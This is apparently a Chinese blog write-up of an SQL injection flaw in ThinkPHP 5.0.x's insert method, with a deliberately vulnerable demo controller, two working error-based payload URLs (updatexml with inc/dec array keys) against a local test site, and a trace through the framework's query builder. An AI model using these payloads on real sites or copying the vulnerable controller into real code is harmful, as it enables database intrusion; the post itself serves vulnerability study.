ThinkPHP5.0.x SQL注⼊

漏洞描述

尽管ThinkPHP 5.0.x框架采用了参数化查询方式来操作数据库,但是在 insertupdate 方法中,传入的参数可控,且无严格过滤,最终导致SQL注入漏洞发生

初始配置

  • 这里利用ThinkPHP5.0.14做示例,戳此进行下载
  • 下载后的源码中,需要对Application\index\controller\Index.php内容进行修改
<?php
namespace app\index\controller;
use think\Db;

class Index
{
    public function index()
    {
        $name = input("get.name/a");
        Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
        return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>';
    }
}

配置数据库相关文件,并开启thinkphp的调试功能

在这里插入图片描述

在这里插入图片描述

漏洞利用

Payload:

http://127.0.0.1/cms/public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
或者
http://127.0.0.1/cms/public/index.php/index/index/index?name[0]=dec&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

在这里插入图片描述

漏洞分析

ThinkPHP5.0.x目录结构

thinkphp  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

Payload说明

Payload:http://127.0.0.1/cms/public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

http://localhost/thinkphp/  public/        index.php/   index/   index/   index
       域名       网站目录    对外访问目录    入口文件       前台     控制器    方法名

Application\index\controller\Index.php补充代码说明

$name = input("get.name/a");
input()TP框架的助手函数,get.name/a 表示获取get传入的name变量,并将其强制转换为数组类型
Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
TP框架采用的是PDO方式对数据库进行查询

本地代码审计

首先通过TP框架的助手函数input获取到参数,name变量情况如下

在这里插入图片描述

跟进thinkphp/library/think/db/Query.php中的where方法,再跟进insert方法,找到$sql = $this->builder->insert($data, $options, $replace);,跟进去

在这里插入图片描述

跟进到thinkphp/library/think/db/Builder.php,找到$data = $this->parseData($data, $options);,跟进去

在这里插入图片描述

跟进parseData方法,可以看出$val是数组,且根据$val[0]值为inc,通过switch语句进入parseKey方法

在这里插入图片描述

跟进thinkphp/library/think/db/builder/Mysql.phpparseKey方法,此处并未对传入的$key进行更多的过滤与检查,最后返回的仍然是1 and (updatexml(1,concat(0x7,user(),0x7e),1))

在这里插入图片描述

回到parseData方法,floatval($val[2])返回1,这也正是Payload传入username[2]=1的原因,将其与前面经过parseKey方法的结果进行拼接后返回给result

在这里插入图片描述

回到thinkphp/library/think/db/Builder.phpinsert方法中,可以看到返回的$sql成功造成了sql注入

在这里插入图片描述

漏洞修复

在这里插入图片描述

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值